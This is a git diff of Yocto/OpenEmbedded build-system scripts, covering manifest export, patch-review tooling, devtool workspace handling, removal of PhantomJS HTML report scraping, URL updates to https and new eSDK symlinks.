+ if config['layer'] == 'yes':
+ rvalues[pn]['layer'] = os.path.basename(layerdir)
+
+ if config['inherits'] == 'yes':
+ gr = set(tinfoil.config_data.getVar("__inherit_cache") or [])
+ lr = set(rd.getVar("__inherit_cache") or [])
+ rvalues[pn]['inherits'] = sorted({os.path.splitext(os.path.basename(r))[0] for r in lr if r not in gr})
+
+ if config['source_urls'] == 'yes':
+ rvalues[pn]['source_urls'] = []
+ for url in (rd.getVar('SRC_URI') or '').split():
+ if not url.startswith('file://'):
+ url = url.split(';')[0]
+ rvalues[pn]['source_urls'].append(url)
+
+ if config['packageconfig_opts'] == 'yes':
+ rvalues[pn]['packageconfig_opts'] = OrderedDict()
+ for key in rd.getVarFlags('PACKAGECONFIG').keys():
+ if key == 'doc':
+ continue
+ rvalues[pn]['packageconfig_opts'][key] = rd.getVarFlag('PACKAGECONFIG', key)
+
+ if config['patches'] == 'yes':
+ patches = oe.recipeutils.get_recipe_patches(rd)
+ rvalues[pn]['patches'] = []
+ if patches:
+ recipeoutdir = os.path.join(tmpoutdir, pn, 'patches')
+ bb.utils.mkdirhier(recipeoutdir)
+ for patch in patches:
+ # Patches may be in other layers too
+ patchlayerdir = oe.recipeutils.find_layerdir(patch)
+ # patchlayerdir will be None for remote patches, which we ignore
+ # (since currently they are considered as part of sources)
+ if patchlayerdir:
+ rvalues[pn]['patches'].append((os.path.basename(patchlayerdir), os.path.relpath(patch, patchlayerdir)))
+ shutil.copy(patch, recipeoutdir)
+
+ if config['packagedir'] == 'yes':
+ pn_dir = os.path.join(tmpoutdir, pn)
+ bb.utils.mkdirhier(pn_dir)
+ f = open(os.path.join(pn_dir, 'recipe.json'), 'w')
+ json.dump(rvalues[pn], f, indent=2)
+ f.close()
+
+ with open(os.path.join(tmpoutdir, 'recipes.json'), 'w') as f:
+ json.dump(rvalues, f, indent=2)
+
+ if args.output:
+ outname = os.path.basename(args.output)
+ else:
+ outname = os.path.splitext(os.path.basename(args.manifest))[0]
+ if outname.endswith('.tar.gz'):
+ outname = outname[:-7]
+ elif outname.endswith('.tgz'):
+ outname = outname[:-4]
+
+ tarfn = outname
+ if tarfn.endswith(os.sep):
+ tarfn = tarfn[:-1]
+ if not tarfn.endswith(('.tar.gz', '.tgz')):
+ tarfn += '.tar.gz'
+ with open(tarfn, 'wb') as f:
+ with tarfile.open(None, "w:gz", f) as tar:
+ tar.add(tmpoutdir, outname)
+ finally:
+ shutil.rmtree(tmpoutdir)
+
+
+def main():
+ parser = argparse_oe.ArgumentParser(description="Image manifest utility",
+ epilog="Use %(prog)s <subcommand> --help to get help on a specific command")
+ parser.add_argument('-d', '--debug', help='Enable debug output', action='store_true')
+ parser.add_argument('-q', '--quiet', help='Print only errors', action='store_true')
+ subparsers = parser.add_subparsers(dest="subparser_name", title='subcommands', metavar='<subcommand>')
+ subparsers.required = True
+
+ # get recipe info
+ parser_get_recipes = subparsers.add_parser('recipe-info',
+ help='Get recipe info',
+ description='Get recipe information for a package')
+ parser_get_recipes.add_argument('package', help='Package name')
+ parser_get_recipes.set_defaults(func=get_recipe)
+
+ # list runtime dependencies
+ parser_pkg_dep = subparsers.add_parser('list-depends',
+ help='List dependencies',
+ description='List dependencies required to build the package')
+ parser_pkg_dep.add_argument('--native', help='also print native and cross packages', action='store_true')
+ parser_pkg_dep.add_argument('package', help='Package name')
+ parser_pkg_dep.set_defaults(func=pkg_dependencies)
+
+ # list recipes
+ parser_recipes = subparsers.add_parser('list-recipes',
+ help='List recipes producing packages within an image',
+ description='Lists recipes producing the packages that went into an image, using the manifest and pkgdata')
+ parser_recipes.add_argument('manifest', help='Manifest file')
+ parser_recipes.set_defaults(func=list_recipes)
+
+ # list packages
+ parser_packages = subparsers.add_parser('list-packages',
+ help='List packages within an image',
+ description='Lists packages that went into an image, using the manifest')
+ parser_packages.add_argument('manifest', help='Manifest file')
+ parser_packages.set_defaults(func=list_packages)
+
+ # list layers
+ parser_layers = subparsers.add_parser('list-layers',
+ help='List included layers',
+ description='Lists included layers')
+ parser_layers.add_argument('-o', '--output', help='Output file - defaults to stdout if not specified',
+ default=sys.stdout, type=argparse.FileType('w'))
+ parser_layers.set_defaults(func=list_layers)
+
+ # dump default configuration file
+ parser_dconfig = subparsers.add_parser('dump-config',
+ help='Dump default config',
+ description='Dump default config to default_config.json')
+ parser_dconfig.set_defaults(func=dump_config)
+
+ # export recipe info for packages in manifest
+ parser_export = subparsers.add_parser('manifest-info',
+ help='Export recipe info for a manifest',
+ description='Export recipe information using the manifest')
+ parser_export.add_argument('-c', '--config', help='load config from json file')
+ parser_export.add_argument('-o', '--output', help='Output file (tarball) - defaults to manifest name if not specified')
+ parser_export.add_argument('manifest', help='Manifest file')
+ parser_export.set_defaults(func=export_manifest_info)
+
+ args = parser.parse_args()
+
+ if args.debug:
+ logger.setLevel(logging.DEBUG)
+ logger.debug("Debug Enabled")
+ elif args.quiet:
+ logger.setLevel(logging.ERROR)
+
+ ret = args.func(args)
+
+ return ret
+
+
+if __name__ == "__main__":
+ try:
+ ret = main()
+ except Exception:
+ ret = 1
+ import traceback
+ traceback.print_exc()
+ sys.exit(ret)
diff --git a/scripts/contrib/list-packageconfig-flags.py b/scripts/contrib/list-packageconfig-flags.py
index d6de4dc84d..bb288e9099 100755
--- a/scripts/contrib/list-packageconfig-flags.py
+++ b/scripts/contrib/list-packageconfig-flags.py
@@ -33,7 +33,7 @@ import bb.tinfoil
def get_fnlist(bbhandler, pkg_pn, preferred):
''' Get all recipe file names '''
if preferred:
- (latest_versions, preferred_versions) = bb.providers.findProviders(bbhandler.config_data, bbhandler.cooker.recipecaches[''], pkg_pn)
+ (latest_versions, preferred_versions, required_versions) = bb.providers.findProviders(bbhandler.config_data, bbhandler.cooker.recipecaches[''], pkg_pn)
fn_list = []
for pn in sorted(pkg_pn):
diff --git a/scripts/contrib/oe-build-perf-report-email.py b/scripts/contrib/oe-build-perf-report-email.py
index de3862c897..7192113c28 100755
--- a/scripts/contrib/oe-build-perf-report-email.py
+++ b/scripts/contrib/oe-build-perf-report-email.py
@@ -19,8 +19,6 @@ import socket
import subprocess
import sys
import tempfile
-from email.mime.image import MIMEImage
-from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
@@ -29,30 +27,6 @@ logging.basicConfig(level=logging.INFO, format="%(levelname)s: %(message)s")
log = logging.getLogger('oe-build-perf-report')
-# Find js scaper script
-SCRAPE_JS = os.path.join(os.path.dirname(__file__), '..', 'lib', 'build_perf',
- 'scrape-html-report.js')
-if not os.path.isfile(SCRAPE_JS):
- log.error("Unableto find oe-build-perf-report-scrape.js")
- sys.exit(1)
-
-
-class ReportError(Exception):
- """Local errors"""
- pass
-
-
-def check_utils():
- """Check that all needed utils are installed in the system"""
- missing = []
- for cmd in ('phantomjs', 'optipng'):
- if not shutil.which(cmd):
- missing.append(cmd)
- if missing:
- log.error("The following tools are missing: %s", ' '.join(missing))
- sys.exit(1)
-
-
def parse_args(argv):
"""Parse command line arguments"""
description = """Email build perf test report"""
@@ -77,137 +51,19 @@ def parse_args(argv):
"the email parts")
parser.add_argument('--text',
help="Plain text message")
- parser.add_argument('--html',
- help="HTML peport generated by oe-build-perf-report")
- parser.add_argument('--phantomjs-args', action='append',
- help="Extra command line arguments passed to PhantomJS")
args = parser.parse_args(argv)
- if not args.html and not args.text:
- parser.error("Please specify --html and/or --text")
+ if not args.text:
+ parser.error("Please specify --text")
return args
-def decode_png(infile, outfile):
- """Parse/decode/optimize png data from a html element"""
- with open(infile) as f:
- raw_data = f.read()
-
- # Grab raw base64 data
- b64_data = re.sub('^.*href="data:image/png;base64,', '', raw_data, 1)
- b64_data = re.sub('">.+$', '', b64_data, 1)
-
- # Replace file with proper decoded png
- with open(outfile, 'wb') as f:
- f.write(base64.b64decode(b64_data))
-
- subprocess.check_output(['optipng', outfile], stderr=subprocess.STDOUT)
-
-
-def mangle_html_report(infile, outfile, pngs):
- """Mangle html file into a email compatible format"""
- paste = True
- png_dir = os.path.dirname(outfile)
- with open(infile) as f_in:
- with open(outfile, 'w') as f_out:
- for line in f_in.readlines():
- stripped = line.strip()
- # Strip out scripts
- if stripped == '<!--START-OF-SCRIPTS-->':
- paste = False
- elif stripped == '<!--END-OF-SCRIPTS-->':
- paste = True
- elif paste:
- if re.match('^.+href="data:image/png;base64', stripped):
- # Strip out encoded pngs (as they're huge in size)
- continue
- elif 'www.gstatic.com' in stripped:
- # HACK: drop references to external static pages
- continue
-
- # Replace charts with <img> elements
- match = re.match('<div id="(?P<id>\w+)"', stripped)
- if match and match.group('id') in pngs:
- f_out.write('<img src="cid:{}"\n'.format(match.group('id')))
- else:
- f_out.write(line)
-
-
-def scrape_html_report(report, outdir, phantomjs_extra_args=None):
- """Scrape html report into a format sendable by email"""
- tmpdir = tempfile.mkdtemp(dir='.')
- log.debug("Using tmpdir %s for phantomjs output", tmpdir)
-
- if not os.path.isdir(outdir):
- os.mkdir(outdir)
- if os.path.splitext(report)[1] not in ('.html', '.htm'):
- raise ReportError("Invalid file extension for report, needs to be "
- "'.html' or '.htm'")
-
- try:
- log.info("Scraping HTML report with PhangomJS")
- extra_args = phantomjs_extra_args if phantomjs_extra_args else []
- subprocess.check_output(['phantomjs', '--debug=true'] + extra_args +
- [SCRAPE_JS, report, tmpdir],
- stderr=subprocess.STDOUT)
-
- pngs = []
- images = []
- for fname in os.listdir(tmpdir):
- base, ext = os.path.splitext(fname)
- if ext == '.png':
- log.debug("Decoding %s", fname)
- decode_png(os.path.join(tmpdir, fname),
- os.path.join(outdir, fname))
- pngs.append(base)
- images.append(fname)
- elif ext in ('.html', '.htm'):
- report_file = fname
- else:
- log.warning("Unknown file extension: '%s'", ext)
- #shutil.move(os.path.join(tmpdir, fname), outdir)
-
- log.debug("Mangling html report file %s", report_file)
- mangle_html_report(os.path.join(tmpdir, report_file),
- os.path.join(outdir, report_file), pngs)
- return (os.path.join(outdir, report_file),
- [os.path.join(outdir, i) for i in images])
- finally:
- shutil.rmtree(tmpdir)
-
-def send_email(text_fn, html_fn, image_fns, subject, recipients, copy=[],
- blind_copy=[]):
- """Send email"""
+def send_email(text_fn, subject, recipients, copy=[], blind_copy=[]):
# Generate email message
- text_msg = html_msg = None
- if text_fn:
- with open(text_fn) as f:
- text_msg = MIMEText("Yocto build performance test report.\n" +
- f.read(), 'plain')
- if html_fn:
- html_msg = msg = MIMEMultipart('related')
- with open(html_fn) as f:
- html_msg.attach(MIMEText(f.read(), 'html'))
- for img_fn in image_fns:
- # Expect that content id is same as the filename
- cid = os.path.splitext(os.path.basename(img_fn))[0]
- with open(img_fn, 'rb') as f:
- image_msg = MIMEImage(f.read())
- image_msg['Content-ID'] = '<{}>'.format(cid)
- html_msg.attach(image_msg)
-
- if text_msg and html_msg:
- msg = MIMEMultipart('alternative')
- msg.attach(text_msg)
- msg.attach(html_msg)
- elif text_msg:
- msg = text_msg
- elif html_msg:
- msg = html_msg
- else:
- raise ReportError("Neither plain text nor html body specified")
+ with open(text_fn) as f:
+ msg = MIMEText("Yocto build performance test report.\n" + f.read(), 'plain')
pw_data = pwd.getpwuid(os.getuid())
full_name = pw_data.pw_gecos.split(',')[0]
@@ -234,8 +90,6 @@ def main(argv=None):
if args.debug:
log.setLevel(logging.DEBUG)
- check_utils()
-
if args.outdir:
outdir = args.outdir
if not os.path.exists(outdir):
@@ -245,25 +99,16 @@ def main(argv=None):
try:
log.debug("Storing email parts in %s", outdir)
- html_report = images = None
- if args.html:
- html_report, images = scrape_html_report(args.html, outdir,
- args.phantomjs_args)
-
if args.to:
log.info("Sending email to %s", ', '.join(args.to))
if args.cc:
log.info("Copying to %s", ', '.join(args.cc))
if args.bcc:
log.info("Blind copying to %s", ', '.join(args.bcc))
- send_email(args.text, html_report, images, args.subject,
- args.to, args.cc, args.bcc)
+ send_email(args.text, args.subject, args.to, args.cc, args.bcc)
except subprocess.CalledProcessError as err:
log.error("%s, with output:\n%s", str(err), err.output.decode())
return 1
- except ReportError as err:
- log.error(err)
- return 1
finally:
if not args.outdir:
log.debug("Wiping %s", outdir)
diff --git a/scripts/contrib/patchreview.py b/scripts/contrib/patchreview.py
index 62c509f51c..bceae06561 100755
--- a/scripts/contrib/patchreview.py
+++ b/scripts/contrib/patchreview.py
@@ -1,14 +1,25 @@
#! /usr/bin/env python3
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
+import argparse
+import collections
+import json
+import os
+import os.path
+import pathlib
+import re
+import subprocess
+
# TODO
# - option to just list all broken files
# - test suite
# - validate signed-off-by
-status_values = ("accepted", "pending", "inappropriate", "backport", "submitted", "denied")
+status_values = ("accepted", "pending", "inappropriate", "backport", "submitted", "denied", "inactive-upstream")
class Result:
# Whether the patch has an Upstream-Status or not
@@ -33,20 +44,18 @@ def blame_patch(patch):
From a patch filename, return a list of "commit summary (author name <author
email>)" strings representing the history.
"""
- import subprocess
return subprocess.check_output(("git", "log",
"--follow", "--find-renames", "--diff-filter=A",
"--format=%s (%aN <%aE>)",
"--", patch)).decode("utf-8").splitlines()
-def patchreview(path, patches):
- import re, os.path
+def patchreview(patches):
# General pattern: start of line, optional whitespace, tag with optional
# hyphen or spaces, maybe a colon, some whitespace, then the value, all case
# insensitive.
sob_re = re.compile(r"^[\t ]*(Signed[-_ ]off[-_ ]by:?)[\t ]*(.+)", re.IGNORECASE | re.MULTILINE)
- status_re = re.compile(r"^[\t ]*(Upstream[-_ ]Status:?)[\t ]*(\w*)", re.IGNORECASE | re.MULTILINE)
+ status_re = re.compile(r"^[\t ]*(Upstream[-_ ]Status:?)[\t ]*([\w-]*)", re.IGNORECASE | re.MULTILINE)
cve_tag_re = re.compile(r"^[\t ]*(CVE:)[\t ]*(.*)", re.IGNORECASE | re.MULTILINE)
cve_re = re.compile(r"cve-[0-9]{4}-[0-9]{4,6}", re.IGNORECASE)
@@ -54,11 +63,10 @@ def patchreview(path, patches):
for patch in patches:
- fullpath = os.path.join(path, patch)
result = Result()
- results[fullpath] = result
+ results[patch] = result
- content = open(fullpath, encoding='ascii', errors='ignore').read()
+ content = open(patch, encoding='ascii', errors='ignore').read()
# Find the Signed-off-by tag
match = sob_re.search(content)
@@ -191,29 +199,56 @@ Patches in Pending state: %s""" % (total_patches,
def histogram(results):
from toolz import recipes, dicttoolz
import math
+
counts = recipes.countby(lambda r: r.upstream_status, results.values())
bars = dicttoolz.valmap(lambda v: "#" * int(math.ceil(float(v) / len(results) * 100)), counts)
for k in bars:
print("%-20s %s (%d)" % (k.capitalize() if k else "No status", bars[k], counts[k]))
+def find_layers(candidate):
+ # candidate can either be the path to a layer directly (eg meta-intel), or a
+ # repository that contains other layers (meta-arm). We can determine what by
+ # looking for a conf/layer.conf file. If that file exists then it's a layer,
+ # otherwise its a repository of layers and we can assume they're called
+ # meta-*.
+
+ if (candidate / "conf" / "layer.conf").exists():
+ return [candidate.absolute()]
+ else:
+ return [d.absolute() for d in candidate.iterdir() if d.is_dir() and (d.name == "meta" or d.name.startswith("meta-"))]
+
+# TODO these don't actually handle dynamic-layers/
+
+def gather_patches(layers):
+ patches = []
+ for directory in layers:
+ filenames = subprocess.check_output(("git", "-C", directory, "ls-files", "recipes-*/**/*.patch", "recipes-*/**/*.diff"), universal_newlines=True).split()
+ patches += [os.path.join(directory, f) for f in filenames]
+ return patches
+
+def count_recipes(layers):
+ count = 0
+ for directory in layers:
+ output = subprocess.check_output(["git", "-C", directory, "ls-files", "recipes-*/**/*.bb"], universal_newlines=True)
+ count += len(output.splitlines())
+ return count
if __name__ == "__main__":
- import argparse, subprocess, os
-
args = argparse.ArgumentParser(description="Patch Review Tool")
args.add_argument("-b", "--blame", action="store_true", help="show blame for malformed patches")
args.add_argument("-v", "--verbose", action="store_true", help="show per-patch results")
args.add_argument("-g", "--histogram", action="store_true", help="show patch histogram")
args.add_argument("-j", "--json", help="update JSON")
- args.add_argument("directory", help="directory to scan")
+ args.add_argument("directory", type=pathlib.Path, metavar="DIRECTORY", help="directory to scan (layer, or repository of layers)")
args = args.parse_args()
- patches = subprocess.check_output(("git", "-C", args.directory, "ls-files", "recipes-*/**/*.patch", "recipes-*/**/*.diff")).decode("utf-8").split()
- results = patchreview(args.directory, patches)
+ layers = find_layers(args.directory)
+ print(f"Found layers {' '.join((d.name for d in layers))}")
+ patches = gather_patches(layers)
+ results = patchreview(patches)
analyse(results, want_blame=args.blame, verbose=args.verbose)
if args.json:
- import json, os.path, collections
if os.path.isfile(args.json):
data = json.load(open(args.json))
else:
@@ -221,7 +256,11 @@ if __name__ == "__main__":
row = collections.Counter()
row["total"] = len(results)
- row["date"] = subprocess.check_output(["git", "-C", args.directory, "show", "-s", "--pretty=format:%cd", "--date=format:%s"]).decode("utf-8").strip()
+ row["date"] = subprocess.check_output(["git", "-C", args.directory, "show", "-s", "--pretty=format:%cd", "--date=format:%s"], universal_newlines=True).strip()
+ row["commit"] = subprocess.check_output(["git", "-C", args.directory, "rev-parse", "HEAD"], universal_newlines=True).strip()
+ row['commit_count'] = subprocess.check_output(["git", "-C", args.directory, "rev-list", "--count", "HEAD"], universal_newlines=True).strip()
+ row['recipe_count'] = count_recipes(layers)
+
for r in results.values():
if r.upstream_status in status_values:
row[r.upstream_status] += 1
@@ -231,7 +270,7 @@ if __name__ == "__main__":
row['malformed-sob'] += 1
data.append(row)
- json.dump(data, open(args.json, "w"))
+ json.dump(data, open(args.json, "w"), sort_keys=True, indent="\t")
if args.histogram:
print()
diff --git a/scripts/contrib/test_build_time.sh b/scripts/contrib/test_build_time.sh
index 23f238adf6..4012ac7ba7 100755
--- a/scripts/contrib/test_build_time.sh
+++ b/scripts/contrib/test_build_time.sh
@@ -97,7 +97,7 @@ if [ $? != 0 ] ; then
exit 251
fi
-if [ "$BB_ENV_EXTRAWHITE" != "" ] ; then
+if [ "BB_ENV_PASSTHROUGH_ADDITIONS" != "" ] ; then
echo "WARNING: you are running after sourcing the build environment script, this is not recommended"
fi
diff --git a/scripts/contrib/test_build_time_worker.sh b/scripts/contrib/test_build_time_worker.sh
index 478e8b0d03..a2879d2336 100755
--- a/scripts/contrib/test_build_time_worker.sh
+++ b/scripts/contrib/test_build_time_worker.sh
@@ -1,5 +1,7 @@
#!/bin/bash
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# This is an example script to be used in conjunction with test_build_time.sh
diff --git a/scripts/contrib/verify-homepage.py b/scripts/contrib/verify-homepage.py
index 7bffa78e23..a90b5010bc 100755
--- a/scripts/contrib/verify-homepage.py
+++ b/scripts/contrib/verify-homepage.py
@@ -1,5 +1,7 @@
#!/usr/bin/env python3
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# This script can be used to verify HOMEPAGE values for all recipes in
diff --git a/scripts/cp-noerror b/scripts/cp-noerror
index ab617c5d35..13a098eee0 100755
--- a/scripts/cp-noerror
+++ b/scripts/cp-noerror
@@ -1,5 +1,7 @@
#!/usr/bin/env python3
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Allow copying of $1 to $2 but if files in $1 disappear during the copy operation,
diff --git a/scripts/create-pull-request b/scripts/create-pull-request
index 8eefcf63a5..885105fab3 100755
--- a/scripts/create-pull-request
+++ b/scripts/create-pull-request
@@ -128,7 +128,7 @@ PROTO_RE="[a-z][a-z+]*://"
GIT_RE="\(^\($PROTO_RE\)\?\)\($USER_RE@\)\?\([^:/]*\)[:/]\(.*\)"
REMOTE_URL=${REMOTE_URL%.git}
REMOTE_REPO=$(echo $REMOTE_URL | sed "s#$GIT_RE#\5#")
-REMOTE_URL=$(echo $REMOTE_URL | sed "s#$GIT_RE#git://\4/\5#")
+REMOTE_URL=$(echo $REMOTE_URL | sed "s#$GIT_RE#https://\4/\5#")
if [ -z "$BRANCH" ]; then
BRANCH=$(git branch | grep -e "^\* " | cut -d' ' -f2)
@@ -149,13 +149,10 @@ fi
WEB_URL=""
case "$REMOTE_URL" in
*git.yoctoproject.org*)
- WEB_URL="http://git.yoctoproject.org/cgit.cgi/$REMOTE_REPO/log/?h=$BRANCH"
- ;;
- *git.pokylinux.org*)
- WEB_URL="http://git.pokylinux.org/cgit.cgi/$REMOTE_REPO/log/?h=$BRANCH"
+ WEB_URL="https://git.yoctoproject.org/$REMOTE_REPO/log/?h=$BRANCH"
;;
*git.openembedded.org*)
- WEB_URL="http://cgit.openembedded.org/$REMOTE_REPO/log/?h=$BRANCH"
+ WEB_URL="https://git.openembedded.org/$REMOTE_REPO/log/?h=$BRANCH"
;;
*github.com*)
WEB_URL="https://github.com/$REMOTE_REPO/tree/$BRANCH"
diff --git a/scripts/cross-intercept/ar b/scripts/cross-intercept/ar
new file mode 120000
index 0000000000..bc68ffd7a2
--- /dev/null
+++ b/scripts/cross-intercept/ar
@@ -0,0 +1 @@
+../native-intercept/ar \ No newline at end of file
diff --git a/scripts/crosstap b/scripts/crosstap
index 40856bc208..5aa72f14d4 100755
--- a/scripts/crosstap
+++ b/scripts/crosstap
@@ -353,7 +353,7 @@ bitbake workspace.
Anything after -- option is passed directly to stap.
-Legacy script invocation style supported but depreciated:
+Legacy script invocation style supported but deprecated:
%prog <user@hostname> <sytemtap-script> [systemtap options]
To enable most out of systemtap the following site.conf or local.conf
@@ -365,13 +365,13 @@ IMAGE_FSTYPES_DEBUGFS = "tar.bz2"
USER_CLASSES += "image-combined-dbg"
# enables kernel debug symbols
-KERNEL_EXTRA_FEATURES_append = " features/debug/debug-kernel.scc"
+KERNEL_EXTRA_FEATURES:append = " features/debug/debug-kernel.scc"
# minimal, just run-time systemtap configuration in target image
-PACKAGECONFIG_pn-systemtap = "monitor"
+PACKAGECONFIG:pn-systemtap = "monitor"
# add systemtap run-time into target image if it is not there yet
-IMAGE_INSTALL_append = " systemtap"
+IMAGE_INSTALL:append = " systemtap"
"""
option_parser = optparse.OptionParser(usage=usage)
diff --git a/scripts/devtool b/scripts/devtool
index 8a4f41bc37..60ea3e8298 100755
--- a/scripts/devtool
+++ b/scripts/devtool
@@ -100,10 +100,11 @@ def read_workspace():
_enable_workspace_layer(config.workspace_path, config, basepath)
logger.debug('Reading workspace in %s' % config.workspace_path)
- externalsrc_re = re.compile(r'^EXTERNALSRC(_pn-([^ =]+))? *= *"([^"]*)"$')
+ externalsrc_re = re.compile(r'^EXTERNALSRC(:pn-([^ =]+))? *= *"([^"]*)"$')
for fn in glob.glob(os.path.join(config.workspace_path, 'appends', '*.bbappend')):
with open(fn, 'r') as f:
pnvalues = {}
+ pn = None
for line in f:
res = externalsrc_re.match(line.rstrip())
if res:
@@ -123,6 +124,9 @@ def read_workspace():
elif line.startswith('# srctreebase: '):
pnvalues['srctreebase'] = line.split(':', 1)[1].strip()
if pnvalues:
+ if not pn:
+ raise DevtoolError("Found *.bbappend in %s, but could not determine EXTERNALSRC:pn-*. "
+ "Maybe still using old syntax?" % config.workspace_path)
if not pnvalues.get('srctreebase', None):
pnvalues['srctreebase'] = pnvalues['srctree']
logger.debug('Found recipe %s' % pnvalues)
@@ -133,17 +137,27 @@ def create_workspace(args, config, basepath, workspace):
workspacedir = os.path.abspath(args.layerpath)
else:
workspacedir = os.path.abspath(os.path.join(basepath, 'workspace'))
- _create_workspace(workspacedir, config, basepath)
+ layerseries = None
+ if args.layerseries:
+ layerseries = args.layerseries
+ _create_workspace(workspacedir, config, basepath, layerseries)
if not args.create_only:
_enable_workspace_layer(workspacedir, config, basepath)
-def _create_workspace(workspacedir, config, basepath):
+def _create_workspace(workspacedir, config, basepath, layerseries=None):
import bb
confdir = os.path.join(workspacedir, 'conf')
if os.path.exists(os.path.join(confdir, 'layer.conf')):
logger.info('Specified workspace already set up, leaving as-is')
else:
+ if not layerseries:
+ tinfoil = setup_tinfoil(config_only=True, basepath=basepath)
+ try:
+ layerseries = tinfoil.config_data.getVar('LAYERSERIES_CORENAMES')
+ finally:
+ tinfoil.shutdown()
+
# Add a config file
bb.utils.mkdirhier(confdir)
with open(os.path.join(confdir, 'layer.conf'), 'w') as f:
@@ -155,7 +169,7 @@ def _create_workspace(workspacedir, config, basepath):
f.write('BBFILE_PATTERN_workspacelayer = "^$' + '{LAYERDIR}/"\n')
f.write('BBFILE_PATTERN_IGNORE_EMPTY_workspacelayer = "1"\n')
f.write('BBFILE_PRIORITY_workspacelayer = "99"\n')
- f.write('LAYERSERIES_COMPAT_workspacelayer = "${LAYERSERIES_COMPAT_core}"\n')
+ f.write('LAYERSERIES_COMPAT_workspacelayer = "%s"\n' % layerseries)
# Add a README file
with open(os.path.join(workspacedir, 'README'), 'w') as f:
f.write('This layer was created by the OpenEmbedded devtool utility in order to\n')
@@ -285,8 +299,9 @@ def main():
return 2
# Search BBPATH first to allow layers to override plugins in scripts_path
- for path in global_args.bbpath.split(':') + [scripts_path]:
- pluginpath = os.path.join(path, 'lib', 'devtool')
+ pluginpaths = [os.path.join(path, 'lib', 'devtool') for path in global_args.bbpath.split(':') + [scripts_path]]
+ context.pluginpaths = pluginpaths
+ for pluginpath in pluginpaths:
scriptutils.load_plugins(logger, plugins, pluginpath)
subparsers = parser.add_subparsers(dest="subparser_name", title='subcommands', metavar='<subcommand>')
@@ -305,6 +320,7 @@ def main():
description='Sets up a new workspace. NOTE: other devtool subcommands will create a workspace automatically as needed, so you only need to use %(prog)s if you want to specify where the workspace should be located.',
group='advanced')
parser_create_workspace.add_argument('layerpath', nargs='?', help='Path in which the workspace layer should be created')
+ parser_create_workspace.add_argument('--layerseries', help='Layer series the workspace should be set to be compatible with')
parser_create_workspace.add_argument('--create-only', action="store_true", help='Only create the workspace layer, do not alter configuration')
parser_create_workspace.set_defaults(func=create_workspace, no_workspace=True)
@@ -314,10 +330,10 @@ def main():
args = parser.parse_args(unparsed_args, namespace=global_args)
- if not getattr(args, 'no_workspace', False):
- read_workspace()
-
try:
+ if not getattr(args, 'no_workspace', False):
+ read_workspace()
+
ret = args.func(args, config, basepath, workspace)
except DevtoolError as err:
if str(err):
diff --git a/scripts/esdk-tools/devtool b/scripts/esdk-tools/devtool
new file mode 120000
index 0000000000..176a01ca68
--- /dev/null
+++ b/scripts/esdk-tools/devtool
@@ -0,0 +1 @@
+../devtool \ No newline at end of file
diff --git a/scripts/esdk-tools/oe-find-native-sysroot b/scripts/esdk-tools/oe-find-native-sysroot
new file mode 120000
index 0000000000..d3493f3310
--- /dev/null
+++ b/scripts/esdk-tools/oe-find-native-sysroot
@@ -0,0 +1 @@
+../oe-find-native-sysroot \ No newline at end of file
diff --git a/scripts/esdk-tools/recipetool b/scripts/esdk-tools/recipetool
new file mode 120000
index 0000000000..60a95dd936
--- /dev/null
+++ b/scripts/esdk-tools/recipetool
@@ -0,0 +1 @@
+../recipetool \ No newline at end of file
diff --git a/scripts/esdk-tools/runqemu b/scripts/esdk-tools/runqemu
new file mode 120000
index 0000000000..ae7e7ad7c2
--- /dev/null
+++ b/scripts/esdk-tools/runqemu
@@ -0,0 +1 @@
+../runqemu \ No newline at end of file
diff --git a/scripts/esdk-tools/runqemu-addptable2image b/scripts/esdk-tools/runqemu-addptable2image
new file mode 120000
index 0000000000..afcd00e79d
--- /dev/null
+++ b/scripts/esdk-tools/runqemu-addptable2image
@@ -0,0 +1 @@
+../runqemu-addptable2image \ No newline at end of file
diff --git a/scripts/esdk-tools/runqemu-export-rootfs b/scripts/esdk-tools/runqemu-export-rootfs
new file mode 120000
index 0000000000..a26fcf6110
--- /dev/null
+++ b/scripts/esdk-tools/runqemu-export-rootfs
@@ -0,0 +1 @@
+../runqemu-export-rootfs \ No newline at end of file
diff --git a/scripts/esdk-tools/runqemu-extract-sdk b/scripts/esdk-tools/runqemu-extract-sdk
new file mode 120000
index 0000000000..cc858aaad5
--- /dev/null
+++ b/scripts/esdk-tools/runqemu-extract-sdk
@@ -0,0 +1 @@
+../runqemu-extract-sdk \ No newline at end of file
diff --git a/scripts/esdk-tools/runqemu-gen-tapdevs b/scripts/esdk-tools/runqemu-gen-tapdevs
new file mode 120000
index 0000000000..dbdf79134c
--- /dev/null
+++ b/scripts/esdk-tools/runqemu-gen-tapdevs
@@ -0,0 +1 @@
+../runqemu-gen-tapdevs \ No newline at end of file
diff --git a/scripts/esdk-tools/runqemu-ifdown b/scripts/esdk-tools/runqemu-ifdown
new file mode 120000
index 0000000000..0097693ca3
--- /dev/null
+++ b/scripts/esdk-tools/runqemu-ifdown
@@ -0,0 +1 @@
+../runqemu-ifdown \ No newline at end of file
diff --git a/scripts/esdk-tools/runqemu-ifup b/scripts/esdk-tools/runqemu-ifup
new file mode 120000
index 0000000000..41026d2c0a
--- /dev/null
+++ b/scripts/esdk-tools/runqemu-ifup
@@ -0,0 +1 @@
+../runqemu-ifup \ No newline at end of file
diff --git a/scripts/esdk-tools/wic b/scripts/esdk-tools/wic
new file mode 120000
index 0000000000..a9d908aa25
--- /dev/null
+++ b/scripts/esdk-tools/wic
@@ -0,0 +1 @@
+../wic \ No newline at end of file
diff --git a/scripts/gen-lockedsig-cache b/scripts/gen-lockedsig-cache
index cd8f9a4356..023015ec41 100755
--- a/scripts/gen-lockedsig-cache
+++ b/scripts/gen-lockedsig-cache
@@ -1,5 +1,8 @@
#!/usr/bin/env python3
#
+#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
@@ -94,8 +97,7 @@ print("Gathering file list took %.1fs" % elapsed)
print('Processing files')
for f in files:
sys.stdout.write('Processing %s... ' % f)
- _, ext = os.path.splitext(f)
- if not ext in ['.tgz', '.siginfo', '.sig']:
+ if not f.endswith(('.tar.zst', '.siginfo', '.sig')):
# Most likely a temp file, skip it
print('skipping')
continue
